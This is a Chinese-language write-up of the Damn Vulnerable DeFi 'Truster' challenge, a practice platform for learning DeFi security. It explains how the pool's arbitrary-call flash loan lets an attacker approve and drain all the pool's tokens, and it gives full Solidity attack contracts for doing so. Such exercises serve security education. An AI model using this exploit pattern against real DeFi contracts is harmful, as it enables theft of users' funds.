banner
zach

zach

github
twitter
medium

該專案是一個名為「damn-vulnerable-defi」的開源項目,它是一個用於測試和學習去中心化金融(DeFi)漏洞的平台。該項目的目標是提供一個真實且易於使用的環境,讓開發人員和安全專家能夠測試和研究DeFi應用程序的安全性。通過使用這個平台,用戶可以學習如何檢測和防止DeFi應用程序中的漏洞,以保護用戶的資金安全。

挑戰 #3 - Truster#

Truster

為了系統的學習 solidity 和 foundry,我基於 foundry 測試框架重新編寫 damnvulnerable-defi 的題解,歡迎交流和共建~🎉

合約#

  • TrusterLenderPool:提供閃電貸功能,池子中有 100w DVT tokens

腳本#

  • 部署 DamnValuableToken、TrusterLenderPool 合約
  • 向 pool 中轉入 100w DVT tokens
  • 執行攻擊腳本
  • 期望 100w token 全部歸屬 player 賬戶,pool 餘額清空

題解#

在 pool 中的 flashLoan 方法中,首先需要計算當前的 token 餘額 balanceBefore,然後轉移 token 到 borrower,再執行給定 target.functionCall,最後校驗當前餘額和 balanceBefore

區別於之前的閃電貸,這裡 pool 沒有繼承 IERC3156FlashLender,而是通過調用傳入的 target 和 calldata 完成回調功能

因此主要的攻擊方向就是 target.functionCall,包括的內容是:

  • 將指定 amount 的 token approve 給攻擊合約
  • 執行 repay 流程

執行完 functionCall 後再利用 transfer 方法將 token 從 pool 中轉移出來,整體流程圖如下所示:
image

根據題目要求,盡可能在一筆交易完成,那麼需要寫合約來完成 flashloan+approve+transfer 的操作

  • 包括兩個合約:TmpAttacker 和 Attacker,執行 flashloan 的是 Attacker,但是因為一筆交易內完成(只有部署合約),部署合約時無法拿到當前合約地址,需要再創建一個合約:TmpAttacker

  • 部署 Attacker 合約時會調用 pool.flashLoan,此時 amount 為 0,只是為了進行 approve,將 TOKENS_IN_POOL 數目的 token approve 給 TmpAttacker

  • 再調用 TmpAttacker.withdraw 將 token 轉移到 player 賬戶,完成攻擊

整體代碼如下:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../../src/truster/TrusterLenderPool.sol";
import "../../src/DamnValuableToken.sol";

contract TmpAttacker {
    uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
    address player;
    address pool;
    DamnValuableToken token;
    constructor(address _player,address _token, address _pool){
        player = _player;
        pool = _pool;
        token = DamnValuableToken(_token);
    }

    function withdraw() external{
        token.transferFrom(pool, player, TOKENS_IN_POOL);
    }
}

contract Attacker {
    uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;

    constructor(address  _pool, address  _token){
        TmpAttacker attacker  = new TmpAttacker(msg.sender, _token,_pool);

        TrusterLenderPool pool = TrusterLenderPool(_pool);
        
        bytes memory data = abi.encodeWithSignature(
            "approve(address,uint256)",
            attacker,
            TOKENS_IN_POOL
        );
        pool.flashLoan(0, address(attacker), _token, data);
        attacker.withdraw();
    }
}
載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。